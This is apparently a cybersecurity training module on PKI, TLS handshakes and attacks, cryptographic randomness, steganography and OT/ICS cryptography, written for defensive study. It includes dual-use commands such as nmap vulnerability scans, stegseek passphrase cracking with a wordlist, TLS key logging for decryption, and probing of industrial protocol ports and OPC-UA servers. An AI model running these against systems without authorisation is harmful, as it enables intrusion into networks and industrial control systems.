Asymmetric cryptography lets us encrypt to anyone with their public key. But how do you know that the public key claiming to be "google.com" actually belongs to Google and not an attacker?

PKI (Public Key Infrastructure) is the system of trust, policies, procedures, and technologies that manages digital certificates, binding public keys to verified identities.

The Man-in-the-Middle Problem:

Without PKI:
  Alice wants to connect to "bank.com"
  Attacker intercepts connection:
  Alice ←→ Attacker ←→ Bank
  Attacker sends own public key to Alice, claiming to be Bank
  Alice encrypts with attacker's key
  Attacker decrypts, re-encrypts with bank's real key
  Alice has no way to know she's talking to the attacker

With PKI:
  Bank has a certificate signed by a trusted Certificate Authority (CA)
  Certificate contains: Bank's public key + domain name + CA signature
  Alice's browser trusts the CA (comes pre-installed)
  Browser verifies: CA signature is valid → this public key belongs to bank.com
  Attacker cannot forge this — doesn't have CA's private key

9.2 Certificate Structure (X.509)

X.509 Certificate Fields:

Version:             3 (v3 is current)
Serial Number:       Unique identifier assigned by CA
Signature Algorithm: sha256WithRSAEncryption or ecdsa-with-SHA256
Issuer:              CA that signed this certificate
                     CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1
Validity:
  Not Before:        2024-01-01 00:00:00 UTC
  Not After:         2025-01-31 23:59:59 UTC
Subject:             Who this certificate belongs to
                     CN=*.google.com, O=Google LLC, C=US
Subject Public Key:  The actual public key (RSA or EC)
                     RSA 2048-bit or ECC P-256
Extensions:
  Subject Alternative Names (SANs): All domains covered
    DNS:*.google.com
    DNS:google.com
  Key Usage: Digital Signature, Key Encipherment
  Extended Key Usage: TLS Web Server Authentication
  Certificate Policies: https://pki.goog/repository/
  CRL Distribution Points: URL to check if certificate is revoked
  OCSP: URL for real-time revocation checking
  Certificate Transparency: SCT list (proof of CT log inclusion)
Signature: CA's signature over all of the above

9.3 Certificate Chain of Trust

PKI Trust Hierarchy:

Root CA (self-signed, highest trust)
  └── Intermediate CA (signed by Root CA)
        └── End-Entity Certificate (signed by Intermediate CA)
            (the certificate for google.com, for example)

Root CA:
  Stored in OS/browser trust stores (pre-installed)
  ~150 trusted root CAs in major browsers
  Private key extremely protected (offline, HSM, physical vault)
  Very rarely used directly (too valuable to risk)

Intermediate CA:
  Signed by root CA, issues end-entity certificates
  Private key stored in HSM (Hardware Security Module)
  If compromised: can be revoked without compromising root

End-Entity Certificate:
  Issued to the specific organisation/domain
  Short-lived (1 year max since 2020 for public TLS)

Chain validation:
  Browser validates end-entity cert is signed by intermediate CA
  Validates intermediate CA is signed by root CA
  Validates root CA is in trusted store
  Validates none are expired or revoked
  Validates domain name matches (SAN check)

9.4 Certificate Revocation

What if a private key is compromised? Certificate must be revoked.

CRL (Certificate Revocation List):
  List of revoked serial numbers, signed by CA, published periodically
  Browsers download CRL and check if certificate serial number is in it
  Problem: CRL can be large, infrequent updates, check often skipped

OCSP (Online Certificate Status Protocol):
  Real-time revocation check — query CA's OCSP responder per certificate
  Faster than CRL, smaller response
  Problem: Privacy (CA knows which sites you visit), performance, failure mode

OCSP Stapling:
  Server periodically fetches its own OCSP response from CA
  Includes ("staples") the response in TLS handshake
  Browser gets revocation status without contacting CA
  Best approach: solves privacy and performance

Revocation in practice (sadly):
  Browser failure to get CRL/OCSP response → typically ALLOW connection
  "Soft fail" = revocation checking provides minimal real protection
  Exception: Certificate Pinning — browser refuses connection if pin mismatch

CAA DNS Records:
  DNS record specifying which CAs may issue certificates for your domain
  example.com CAA 0 issue "letsencrypt.org"
  Prevents misissued certificates from unauthorised CAs
  Check: dig CAA yourdomain.com

# PKI and certificate analysis:

# View a server's full certificate chain:
openssl s_client -connect google.com:443 -showcerts 2>/dev/null | \
    grep -E "BEGIN|END|subject|issuer|Not"

# Check certificate details:
openssl s_client -connect google.com:443 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Subject:|Issuer:|Not After|DNS:"

# Verify certificate chain:
openssl verify -CAfile /etc/ssl/certs/ca-certificates.crt certificate.pem

# Check OCSP status:
openssl s_client -connect google.com:443 -status 2>/dev/null | grep -A5 "OCSP"

# Check if certificate is about to expire (monitoring):
openssl s_client -connect target.com:443 2>/dev/null | \
    openssl x509 -noout -enddate | \
    awk -F= '{print $2}' | \
    xargs -I{} date -d "{}" +%s | \
    awk -v now=$(date +%s) '{days=($1-now)/86400; print "Expires in " int(days) " days"}'

# Monitor certificate changes (detect unexpected reissue):
openssl s_client -connect target.com:443 2>/dev/null | \
    openssl x509 -fingerprint -sha256 -noout
# Compare fingerprint over time — unexpected change = possible attack or cert rotation

# Certificate transparency monitoring (your domain):
curl -s "https://crt.sh/?q=yourdomain.com&output=json" | \
    python3 -c "
import json,sys
certs = json.load(sys.stdin)
for c in certs[:10]:
    print(c['not_before'][:10], c['name_value'], c['issuer_name'][:50])
"
# Review for unexpected certificates issued for your domain

# Generate self-signed certificate (for testing/internal use only):
openssl req -x509 -newkey rsa:4096 \
    -keyout private.pem \
    -out certificate.pem \
    -days 365 \
    -subj "/CN=localhost/O=Test/C=US" \
    -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"

10. SSL/TLS — How Secure Connections Work

10.1 SSL to TLS Evolution

Timeline:
  SSL 1.0 (Netscape, 1994): Never released (serious flaws found)
  SSL 2.0 (1995):           Released, flaws found quickly
  SSL 3.0 (1996):           Still broken (POODLE 2014 — CVE-2014-3566)
  TLS 1.0 (1999):           RFC 2246, BEAST vulnerability (CVE-2011-3389)
  TLS 1.1 (2006):           Fixed BEAST, still has issues
  TLS 1.2 (2008):           Current acceptable standard
  TLS 1.3 (2018):           Current best practice, significant redesign

Deprecated (should not be used):
  SSL 2.0, SSL 3.0: COMPLETELY BROKEN, disable everywhere
  TLS 1.0, TLS 1.1: Deprecated by RFC 8996 (2021)
                    Chrome/Firefox removed support 2020

  Current standard: TLS 1.2 minimum, TLS 1.3 preferred

10.2 What TLS Provides

TLS provides a secure channel with three properties:

1. Confidentiality: All application data encrypted
   (Before TLS: plaintext visible to any network observer)

2. Integrity: Data cannot be modified without detection
   (HMAC or AEAD authentication tags detect any tampering)

3. Authentication: Server (and optionally client) identity verified
   (Via certificate chain validation)

What TLS does NOT protect:
  - Metadata: IP addresses, TCP ports, timing, volume
  - Server-side application vulnerabilities
  - The DNS lookup that led to the connection
  - Traffic analysis (size and timing patterns)
  - Certificate validity (user must check/browser must validate)

TLS components:
  Record Protocol: Fragments, compresses (deprecated), encrypts, MACs application data
  Handshake Protocol: Negotiates cipher suite, authenticates server, establishes keys
  Alert Protocol: Signals errors and close notifications
  Change Cipher Spec: Signals switch to negotiated cipher (TLS 1.2 only)

10.3 TLS Cipher Suites

TLS 1.2 Cipher Suite naming (verbose):
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

  TLS:         Protocol
  ECDHE:       Key Exchange (Elliptic Curve Diffie-Hellman Ephemeral — forward secrecy)
  RSA:         Authentication (certificate type — RSA cert verifies server identity)
  WITH:        Separator
  AES_256_GCM: Symmetric cipher (AES 256-bit in GCM mode)
  SHA384:      HMAC algorithm for integrity (for PRF function in TLS 1.2)

Components:
  Key Exchange: ECDHE > DHE > RSA (RSA key exchange has no forward secrecy — avoid)
  Auth:         ECDSA > RSA (for certificates)
  Cipher:       AES-GCM > AES-CBC (GCM is authenticated, CBC requires separate MAC)
  PRF/HMAC:     SHA-384 > SHA-256 > MD5/SHA-1 (avoid weak hashes)

TLS 1.3 cipher suites (simplified, only 5 allowed):
  TLS_AES_128_GCM_SHA256         (default, fast)
  TLS_AES_256_GCM_SHA384         (high security)
  TLS_CHACHA20_POLY1305_SHA256   (mobile/embedded — faster without AES-NI)
  TLS_AES_128_CCM_SHA256         (constrained environments)
  TLS_AES_128_CCM_8_SHA256       (very constrained IoT)

  Note: TLS 1.3 separates authentication (certificate) from key exchange
        No more RSA key exchange — only ECDHE or DHE
        All TLS 1.3 cipher suites have forward secrecy by default

Weak cipher suites to detect and disable:
  *_NULL_*:    No encryption (plaintext)
  *_EXPORT_*:  40/56-bit keys (FREAK/Logjam attack)
  *_RC4_*:     RC4 stream cipher (broken since 2013)
  *_DES_*:     56-bit DES (trivially cracked)
  *_3DES_*:    112-bit 3DES (SWEET32, slow)
  *_MD5:       MD5 MAC (broken)
  *_SHA:       SHA-1 MAC (weakened)
  *RSA_WITH_*: RSA key exchange (no forward secrecy)
  *_ANON_*:    Anonymous (no authentication — trivial MITM)

11. TLS Handshake — Deep Dive

11.1 TLS 1.2 Handshake

TLS 1.2 Full Handshake:

Client                                         Server
  │                                               │
  │──── ClientHello ───────────────────────────→  │
  │  Version: TLS 1.2                             │
  │  Random: 32 bytes (includes timestamp)        │
  │  Session ID: (for resumption)                 │
  │  Cipher Suites: [list of supported]           │
  │  Extensions: SNI, ALPN, elliptic curves...    │
  │                                               │
  │ ←── ServerHello ─────────────────────────── │
  │  Version: TLS 1.2                             │
  │  Random: 32 bytes                             │
  │  Session ID: (new or resumed)                 │
  │  Cipher Suite: SELECTED ONE                   │
  │                                               │
  │ ←── Certificate ─────────────────────────── │
  │  Server's X.509 certificate(s)               │
  │  [Full chain: end-entity + intermediates]     │
  │                                               │
  │ ←── ServerKeyExchange (if ECDHE/DHE) ─────  │
  │  DH parameters + server's DH public value    │
  │  Signed with server's private key            │
  │                                               │
  │ ←── ServerHelloDone ─────────────────────── │
  │                                               │
  │ Client validates:                             │
  │   Certificate chain → trusted CA             │
  │   Server hostname matches SAN                │
  │   Not expired, not revoked                   │
  │   ServerKeyExchange signature valid          │
  │                                               │
  │──── ClientKeyExchange ──────────────────────→ │
  │  Client's DH public value                    │
  │                                               │
  │  [Both compute: Pre-Master Secret from DH]   │
  │  [Both derive: Master Secret]                │
  │  [Both derive: 4 session keys from MS]       │
  │    client_write_key, server_write_key        │
  │    client_write_MAC, server_write_MAC        │
  │                                               │
  │──── ChangeCipherSpec ───────────────────────→ │
  │  "I'll now use the negotiated cipher"        │
  │                                               │
  │──── Finished (encrypted) ───────────────────→ │
  │  HMAC of entire handshake transcript         │
  │  Verifies nothing was tampered during setup  │
  │                                               │
  │ ←── ChangeCipherSpec ─────────────────────── │
  │ ←── Finished (encrypted) ─────────────────── │
  │                                               │
  │ ════════ Application Data (encrypted) ═══════ │

Total round trips: 2-RTT (2 full round trips before data flows)
This latency matters — TLS 1.3 reduces to 1-RTT

11.2 TLS 1.3 Handshake

TLS 1.3 Handshake — Redesigned for speed and security:

Client                                         Server
  │                                               │
  │──── ClientHello ───────────────────────────→  │
  │  Version: TLS 1.3                             │
  │  Random: 32 bytes                             │
  │  Cipher Suites: [TLS 1.3 only suites]        │
  │  key_share: Client's ECDH public key          │
  │  (Client guesses server's preferred group)    │
  │  supported_versions: [TLS 1.3, TLS 1.2...]   │
  │  pre_shared_key: (for 0-RTT resumption)       │
  │                                               │
  │  [Server can now compute handshake key]       │
  │  [Server begins encrypting immediately]       │
  │                                               │
  │ ←── ServerHello ─────────────────────────── │
  │  Version: TLS 1.3                             │
  │  key_share: Server's ECDH public key          │
  │  (Both now compute shared secret)             │
  │                                               │
  │ ←── {Certificate} ────────────────────────── │ ← Encrypted!
  │ ←── {CertificateVerify} ──────────────────── │ ← Encrypted!
  │  Signature over entire handshake transcript  │
  │ ←── {Finished} ────────────────────────────── │ ← Encrypted!
  │                                               │
  │ Client validates certificate (encrypted)     │
  │                                               │
  │──── {Finished} ─────────────────────────────→ │
  │                                               │
  │ ════════ Application Data (encrypted) ═══════ │

Key improvements in TLS 1.3:
  1-RTT: Faster by one full round trip (vs TLS 1.2's 2-RTT)
  0-RTT: Session resumption can send data in the first message
         (Security tradeoff: 0-RTT data not forward secret, replay risk)

  No more:
    RSA key exchange (eliminated — only ECDHE/DHE)
    CBC cipher suites (GCM and ChaCha20 only)
    MD5, SHA-1 in MAC (SHA-256 minimum)
    DH with <2048-bit primes
    Export cipher suites
    Session renegotiation (was a security issue in TLS 1.2)
    Compression (CRIME attack)

  Certificate and CertificateVerify now encrypted:
    In TLS 1.2, certificate was sent in plaintext → server identity visible to observer
    In TLS 1.3, certificate encrypted → privacy improvement

  Encrypted ClientHello (ECH) — draft standard:
    Extends encryption to ClientHello (SNI currently plaintext)
    When standardised: server hostname hidden from observer

11.3 TLS Attack Landscape

BEAST (CVE-2011-3389):
  Target: TLS 1.0 CBC mode
  Method: Chosen-boundary attack against CBC's predictable IV
  Impact: Decrypt HTTPS session cookies
  Fix: Use TLS 1.2+ (fixed IV handling), use RC4 (now broken too), AES-GCM

CRIME (CVE-2012-4929):
  Target: TLS compression (DEFLATE)
  Method: Compression oracle — inject guesses, observe size change
  Impact: Recover HTTPS cookies
  Fix: Disable TLS compression (disabled by default in all modern implementations)

POODLE (CVE-2014-3566):
  Target: SSL 3.0 CBC mode
  Method: Padding oracle after downgrade to SSL 3.0
  Impact: Decrypt session cookies
  Fix: Disable SSL 3.0 entirely, use TLS 1.2+

Heartbleed (CVE-2014-0160):
  Target: OpenSSL heartbeat extension (TLS extension)
  Method: Missing bounds check — request more data than sent
  Impact: Up to 64KB of server memory per request
          Exposed: private keys, session tickets, passwords, other secrets
  Fix: Patch OpenSSL (1.0.1g), reissue all certificates, rotate secrets

FREAK (CVE-2015-0204):
  Target: Export cipher suites (forced by 90s US regulations)
  Method: Force server to use RSA-EXPORT (512-bit) → factor in hours
  Impact: Decrypt HTTPS connections to affected servers
  Fix: Disable all EXPORT cipher suites

Logjam (CVE-2015-4000):
  Target: DHE-EXPORT (512-bit DH parameters)
  Method: Precompute discrete logarithm table for 512-bit primes
          NSA-scale attack feasible against 1024-bit primes
  Impact: Passive decryption of many HTTPS+VPN connections
  Fix: Minimum 2048-bit DH parameters, use ECDHE instead

ROBOT (2017):
  Target: RSA PKCS#1v1.5 padding in TLS
  Method: Bleichenbacher's 1998 oracle attack resurrected
          Server's different error responses for valid vs invalid padding
  Impact: Decrypt RSA-encrypted TLS sessions (if no forward secrecy)
  Affected: F5, Citrix, Cisco, Palo Alto, Radware, many others
  Fix: Constant-time RSA decryption, use ECDHE (no RSA key exchange)

# TLS security testing:

# Test TLS configuration comprehensively:
# testssl.sh (most comprehensive):
bash testssl.sh target.com:443

# Quick checks:
nmap --script ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,ssl-dh-params \
    -p 443 target.com

# Check supported TLS versions:
for version in ssl2 ssl3 tls1 tls1_1 tls1_2 tls1_3; do
    if openssl s_client -connect target.com:443 -$version 2>/dev/null | \
            grep -q "CONNECTED"; then
        echo "$version: SUPPORTED"
    else
        echo "$version: NOT supported"
    fi
done

# Check certificate details and chain:
openssl s_client -connect target.com:443 -showcerts 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Not After|Signature Algorithm|Public-Key:"

# Decrypt TLS traffic (requires pre-master secret log):
export SSLKEYLOGFILE=/tmp/ssl_keys.log
curl https://target.com/api/data  # Keys logged
# Open in Wireshark: Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log

# Test HSTS:
curl -sI https://target.com | grep -i "strict-transport"
# max-age should be ≥31536000 (1 year)
# includeSubDomains recommended
# preload for browser preload list

# Certificate pinning test:
curl -sI --pinnedpubkey sha256//HASH= https://target.com
# If pinning correct: 200
# If wrong pin: SSL error

12. Cryptographic Randomness

12.1 Why Randomness Is Critical

Cryptography requires random numbers for key generation, IVs, salts, nonces, and ephemeral DH values. If these "random" values are predictable, the entire cryptographic system fails regardless of the strength of the algorithm.

What breaks when randomness is weak:

Key generation: Predictable private key → attacker knows your key without brute force
AES IV:         Predictable IV → pattern in ciphertext, BEAST-like attacks
ECDSA nonce:    Predictable k → private key recovery (PS3, Android Bitcoin wallet)
Salt:           Predictable salt → precomputed table attacks possible
Session tokens: Predictable tokens → session hijacking without authentication
VPN key:        Predictable key → full traffic decryption (DUHK attack 2017)

12.2 PRNG vs CSPRNG

PRNG (Pseudo-Random Number Generator):
  Deterministic algorithm that produces "random-looking" numbers
  Seeded with initial value
  Given seed: entire sequence is deterministic

  Examples: rand() in C, Math.random() in JavaScript
  Use for: simulation, games, non-security randomness
  NEVER use for: cryptographic keys, tokens, passwords, security

  Attack: if attacker knows seed (e.g., current timestamp), they can
          predict all "random" numbers → broken crypto

CSPRNG (Cryptographically Secure PRNG):
  Designed to be computationally infeasible to predict next output
  Even with knowledge of all previous output
  Forward secrecy: learning current state doesn't reveal past output
  Backward secrecy: predicting future output is infeasible

  Examples:
  Linux: /dev/urandom (modern Linux: uses CSPRNG, safe for all uses)
  Linux: /dev/random (legacy: blocks until entropy; /dev/urandom is preferred)
  Windows: CryptGenRandom, BCryptGenRandom
  OpenSSL: RAND_bytes()
  Python: os.urandom(), secrets module

/dev/random vs /dev/urandom (Linux):
  Myth: /dev/urandom is weaker than /dev/random
  Truth: Both use same CSPRNG kernel; /dev/random blocks unnecessarily
  Modern Linux (kernel 5.6+): both behave identically
  ALWAYS use: /dev/urandom or the secrets module
  NEVER block applications waiting for /dev/random

12.3 Entropy

Entropy in cryptography: measure of unpredictability (bits)

High entropy: 256-bit key from CSPRNG (truly unpredictable, 2^256 possibilities)
Low entropy:  256-bit key from timestamp (only milliseconds in a day)

Entropy sources (Linux kernel entropy pool):
  Hardware: CPU timing jitter, thermal noise, hardware RNG (RDRAND)
  Devices: Disk I/O timing, network packet arrival timing
  User: Keyboard/mouse timing
  Early boot: Low entropy problem (all sources above unavailable)

The "entropy starvation" problem:
  Embedded systems, VMs, and containers often lack entropy at boot

  Impact: If CSPRNG generates keys before sufficient entropy is collected:
          Keys may be predictable

  Real attack (2012): Heninger et al. analysed millions of RSA public keys
                      Found many shared factors (same primes in different keys)
                      Root cause: entropy-starved key generation at first boot
                      Multiple different devices generated the same "random" primes

  Solution:
  Hardware RNG: Intel RDRAND instruction (hardware true RNG)
  virtio-rng: Feed entropy to VMs from host
  haveged: Software entropy daemon
  rng-tools: Hardware RNG interface daemon

# Cryptographic randomness in practice:

# Generate secure random values:
openssl rand -hex 32                       # 32 bytes = 256-bit random key (hex)
openssl rand -base64 32                    # 32 bytes as base64
openssl rand -out keyfile.bin 32           # Write 32 random bytes to file

# Python — ALWAYS use secrets module for cryptographic randomness:
python3 << 'EOF'
import secrets, os

# Secure token for session IDs, CSRF tokens, etc:
token = secrets.token_hex(32)              # 64-char hex string (256 bits)
print(f"Secure token: {token}")

# Secure random bytes for key material:
key = secrets.token_bytes(32)              # 32 random bytes
print(f"Key (hex): {key.hex()}")

# os.urandom() is equivalent and always cryptographically secure:
key2 = os.urandom(32)
print(f"os.urandom key: {key2.hex()}")

# WRONG: Do not use random module for security:
import random
insecure = random.randbytes(32)
# This is NOT cryptographically secure — don't use for keys/tokens/salts
# random.randbytes looks secure but can be predicted if seed is known
EOF

# Check entropy on Linux:
cat /proc/sys/kernel/random/entropy_avail    # Current entropy bits available
cat /proc/sys/kernel/random/pool_size        # Entropy pool size

# Check hardware RNG availability:
cat /sys/devices/virtual/misc/hw_random/rng_available
ls /dev/hwrng                                # Hardware RNG device

# Install entropy daemon for servers/VMs:
sudo apt install haveged
sudo systemctl start haveged
cat /proc/sys/kernel/random/entropy_avail    # Should be much higher now

# Test PRNG quality (diehard/NIST tests):
openssl rand 1000000 > /tmp/random.bin
ent /tmp/random.bin                          # Entropy test (install: apt install ent)
# Entropy: should be close to 8.00 bits/byte
# Chi-square: should be within expected range
# Serial correlation: should be close to 0.00

Key Insight: Weak randomness is the silent killer of cryptographic systems. AES-256 with a predictable key provides no security. ECDSA with a repeated nonce loses the private key. Session tokens generated with timestamp seeds are trivially predictable. Always use CSPRNG (/dev/urandom, os.urandom(), secrets module) and never use general-purpose PRNGs (rand(), random.random()) for any security purpose.

13. Steganography

13.1 What Steganography Is

Steganography (Greek: "hidden writing") is the practice of concealing a message within another, non-secret, file or communication. Unlike cryptography, which makes content unreadable, steganography hides the existence of the message itself.

Steganography vs Cryptography:

Cryptography:
  "Hello World" → encrypted → "x7Kp2mQ9..." (obviously encrypted)
  Attacker knows: a secret message exists, cannot read it

Steganography:
  "Hello World" hidden inside a photo of a cat
  Attacker sees: a photo of a cat
  Attacker doesn't know: a secret message exists

Combined (crypto + stego):
  Encrypt "Hello World" → encrypt it → hide encrypted data in cat photo
  Even if stego is detected: encrypted content cannot be read
  This is what sophisticated threat actors and C2 channels use

13.2 Steganography Techniques

Image Steganography — LSB (Least Significant Bit):

  Each pixel in a 24-bit RGB image has: R(8 bits) G(8 bits) B(8 bits)
  Changing the least significant bit changes colour by 1/256 — visually imperceptible

  Original pixel: R=11010110, G=10010100, B=11100010
  Modified pixel: R=11010111, G=10010100, B=11100011
  (Changed LSB of R and B to embed 2 bits of hidden data)

  Capacity: 3 bits per pixel (one per RGB channel)
  24-bit 1920×1080 image: 1920×1080×3 = 6.2 million bits = ~750KB of hidden data

  Detection: Statistical analysis (chi-square test detects LSB pattern anomalies)
  Steganalysis tools: StegExpose, StegoSuite

Audio Steganography:
  Hide data in audio file LSBs (imperceptible to human hearing)
  Phase modification: hide in phase of audio signal
  Echo hiding: encode data in echo parameters

Network Steganography:
  ICMP payload: hide data in ping packet payload
  TCP timestamp: encode data in TCP timestamp option
  DNS: hide data in subdomain labels or response padding
  HTTP headers: hide in custom headers or timing

  This is particularly relevant for C2 (command and control):
  Malware uses network steganography to blend C2 traffic with legitimate traffic

13.3 Steganography in Security

Offensive uses:
  Data exfiltration: hide stolen data in images uploaded to social media
  C2 communication: hide commands in public social media posts/images
  Malware delivery: embed malware in documents, images

  Real examples:
  Turla APT (2019): hid C2 commands in comments on Britney Spears' Instagram posts
  Duqu malware: used custom steganography to exfiltrate data
  Multiple APT groups: use image steganography for C2 communications

Defensive considerations:
  DLP systems must inspect image content, not just file type
  Network monitoring must analyse payload patterns, not just protocols
  Outbound traffic should be analysed for steganographic channels

# Steganography in practice:

# steghide — hide data in JPEG/BMP/WAV/AU:
sudo apt install steghide

# Hide a file in an image:
steghide embed \
    -cf photo.jpg \              # Cover file (the innocent-looking carrier)
    -sf secret.txt \             # Secret file to hide
    -p "stegopassword"           # Passphrase (encrypts the hidden data)

# Extract hidden data:
steghide extract \
    -sf photo.jpg \              # Stego file
    -p "stegopassword"           # Passphrase
# Extracts secret.txt if passphrase correct

# stegseek — fast steghide password cracker:
stegseek photo.jpg /usr/share/wordlists/rockyou.txt

# zsteg — detect LSB steganography in PNG/BMP:
sudo gem install zsteg
zsteg suspicious_image.png       # Detect hidden data
zsteg -a suspicious_image.png    # Try all methods

# binwalk — find embedded files in any binary:
binwalk suspicious_file.jpg      # Shows embedded files
binwalk -e suspicious_file.jpg   # Extract embedded files

# exiftool — check metadata (stego sometimes in EXIF):
exiftool photo.jpg | grep -v "^$"  # All metadata
exiftool -all= clean_photo.jpg     # Strip ALL metadata

# Detect LSB steganography with statistical analysis:
python3 << 'EOF'
from PIL import Image
import numpy as np

def detect_lsb_stego(filename):
    img = Image.open(filename)
    pixels = np.array(img)

    # Get all LSBs
    lsbs = pixels & 1  # Extract LSB of each channel

    # Calculate expected vs actual distribution
    # In a natural image, LSBs should be ~50% 0, ~50% 1
    # LSB steganography makes it exactly 50% (or different pattern)
    ratio = lsbs.mean()
    print(f"LSB distribution: {ratio:.4f} (natural: ~0.5, suspicious: exactly 0.5)")

    # Chi-square test
    n = lsbs.size
    observed_0 = np.sum(lsbs == 0)
    observed_1 = np.sum(lsbs == 1)
    expected = n / 2
    chi_sq = ((observed_0 - expected)**2 + (observed_1 - expected)**2) / expected
    print(f"Chi-square: {chi_sq:.2f} (low value suggests steganography)")

detect_lsb_stego("photo.jpg")
EOF

Key Insight: Steganography's power is deniability — the carrier file appears innocent. Sophisticated APT groups use steganography for C2 because the traffic blends with normal image/media traffic. Defence requires content inspection (not just metadata), statistical analysis of image entropy, and anomaly detection on upload/download patterns. In incident response, always check media files for embedded content.

14. Cryptography in OT/ICS Environments

14.1 The Cryptography Gap in OT

State of cryptography in OT/ICS (2024):

No cryptography at all:
  Modbus TCP: no authentication, no integrity, no confidentiality
  DNP3 (baseline): no cryptography (SAv5 adds authentication)
  PROFIBUS: no cryptography
  BACnet: no cryptography in baseline

Why no cryptography:
  1. Designed in 1970s-1980s before network security was a concern
  2. CPU constraints: embedded PLCs lack processing power for crypto
  3. Latency constraints: crypto processing adds microseconds-milliseconds
     unacceptable for hard real-time control loops
  4. Legacy infrastructure: millions of deployed devices cannot be updated
  5. Vendor lock-in: vendors slow to implement standard crypto

Real consequence:
  Any device on the OT network segment can:
  - Read all sensor values (passive Modbus scan)
  - Write to any register/coil (change setpoints, open/close valves)
  - Replay captured commands (repeat a previous command)
  - Inject false commands (fabricate Modbus function codes)
  With no authentication required

14.2 Where Cryptography Exists in OT

IEC 62351 — Security for IEC 61850 and IEC 60870-5-104:
  62351-3: TLS for MMS, ICCP
  62351-4: Authentication for ICCP
  62351-5: Authentication for DNP3 and IEC 60870-5-101/104
  62351-6: GOOSE and Sampled Values authentication (AES-GMAC)
  62351-8: Role-based access control

  Adoption: low — implementation is complex, vendor support varies

OPC-UA Security:
  OPC-UA has built-in security: authentication, signing, encryption
  MessageSecurityMode: None, Sign, SignAndEncrypt
  Sign: Integrity protection (HMAC)
  SignAndEncrypt: Integrity + Confidentiality (AES-256-CBC)
  Certificates: X.509 certificates for server/client authentication

  This is the correct model for new OT deployments
  OPC-UA adoption growing — replacing older proprietary protocols

WirelessHART / ISA100.11a:
  AES-128 encryption for wireless industrial sensors
  CCM (Counter with CBC-MAC) mode — authenticated encryption
  Key management: join keys, session keys

DNP3 Secure Authentication v5 (SAv5):
  HMAC-based challenge-response authentication
  Prevents command injection for DNP3
  Adoption: some power utilities (NERC CIP drives adoption)

IEC 61850 GOOSE Security (IEC 62351-6):
  GOOSE messages authenticated with AES-GMAC
  Prevents forged protection relay commands
  Deployment: rare — latency constraints challenged

14.3 TLS in OT Environments

TLS deployment challenges in OT:

Certificate management:
  OT devices have long lifespans (10-20 years)
  Annual TLS certificate renewal cycles require:
    - Update process that doesn't interrupt operation
    - Certificate lifecycle management tooling
    - Operator training
  Many OT environments have no process for this

TLS versions on legacy OT:
  Windows CE, Windows XP embedded: support TLS 1.0 only (deprecated)
  Cannot be upgraded without replacing hardware
  Solution: TLS termination proxy (modern TLS toward IT, legacy toward OT device)

Self-signed certificates in OT:
  OT environments often cannot access internet PKI
  Internal CA or self-signed certificates used
  Risk: No validation possible without PKI

TLS for OT communication:
  OPC-UA → TLS 1.2/1.3 for secure machine-to-machine
  Remote access → TLS VPN or TLS-based remote access (not Telnet!)
  Historian → TLS for HTTPS data access from IT

Certificate pinning in OT:
  OT systems can pin specific certificates
  Prevents MITM even with compromised CA
  Requires careful management for certificate rotation

# Cryptography assessment in OT networks:

# Check if OT protocols are running without encryption:
sudo tcpdump -i eth0 -nn 'port 502 or port 20000 or port 2404 or port 44818' | \
    head -20
# If you see traffic: those protocols running in cleartext

# Check if OPC-UA is using TLS:
# Port 4840 = OPC-UA (unencrypted baseline)
# Port 4843 = OPC-UA with TLS
nmap -sV -p 4840,4843 192.168.1.0/24 2>/dev/null

# Test TLS on industrial historian or HMI:
openssl s_client -connect historian-server:443 2>/dev/null | \
    grep -E "Protocol|Cipher|Verify"
# Look for TLS 1.0/1.1 (deprecated) or weak cipher suites

# Check IEC 62351 GOOSE authentication (wireshark):
# Filter: goose
# Check if Security Level > 0 in GOOSE PDU
# Security Level 0 = no authentication (vulnerable)

# Audit OPC-UA security mode:
# Using open62541 or other OPC-UA client:
# python-opcua:
python3 << 'EOF'
try:
    from opcua import Client
    client = Client("opc.tcp://192.168.1.100:4840")
    client.connect()
    # If connected without security: no encryption or authentication
    security_mode = client.get_attribute(1, "SecurityMode")
    print(f"Security Mode: {security_mode}")
    # 1 = None (no security!)
    # 2 = Sign
    # 3 = SignAndEncrypt (correct)
    client.disconnect()
except Exception as e:
    print(f"Connection result: {e}")
EOF

15. Module Summary

Concept	Core Mechanism	Attack Relevance	Key Defence	OT/ICS Note
Encoding	Format conversion (Base64, URL, Hex)	WAF bypass via encoding, credential exposure in Basic Auth	Decode all input before validation; never confuse with encryption	OT firmware strings often Base64-encoded in memory dumps
Symmetric Encryption	Same key encrypts and decrypts	Brute force key, weak cipher (DES/3DES), ECB mode patterns	AES-256-GCM; never ECB; unique random IV per message	AES-128-CCM in WirelessHART; OT devices often lack AES-NI
AES	SPN, 10-14 rounds, 128-bit blocks	Side-channel (timing, cache); implementation attacks only	AES-256-GCM standard; hardware AES-NI; protect key material	AES-128 in WirelessHART; AES-256 for historian data at rest
DES/3DES	56-bit/112-bit Feistel; BROKEN	DES: brute force in minutes; 3DES: SWEET32 birthday attack	Eliminate; replace with AES-256	Legacy payment systems in OT; force replacement schedule
RSA	Integer factorisation; public/private keys	PKCS1v15 padding oracle (ROBOT 2017); short keys (ROCA)	RSA-2048 minimum; RSA-PSS padding; prefer ECDH	TLS certificates for OT historian, OPC-UA servers
ECC	Elliptic curve discrete log; ECDHE	Weak curve parameters (NIST distrust); ECDSA k reuse	Curve25519/P-256; always random k in ECDSA	OPC-UA certificates; preferred over RSA for constrained devices
Diffie-Hellman	g^ab mod p shared secret without transmitting	Logjam (512-bit precomputed); discrete log for weak params	ECDHE; 2048-bit minimum DH; forward secrecy	ECDHE in OPC-UA TLS; enables forward secrecy for OT sessions
MD5	128-bit Merkle-Damgård; BROKEN	Collision (2009); forged CA cert (Flame 2012)	SHA-256 minimum; MD5 acceptable only for non-security deduplication	Legacy OT firmware checksums use MD5; identify and flag
SHA-1	160-bit; BROKEN	SHAttered collision (2017, $100K); chosen-prefix 2020	SHA-256 minimum	OT firmware updates still using SHA-1; critical finding
SHA-256/SHA-3	256-bit; SECURE	No practical attack known	SHA-256 standard; SHA-3 for diversity	Use for firmware integrity verification in OT
Salt	Random per-password value; defeats rainbow tables	Without salt: precomputed table attack	16+ byte CSPRNG salt; unique per password; store with hash	Hash-based authentication tokens in OT systems
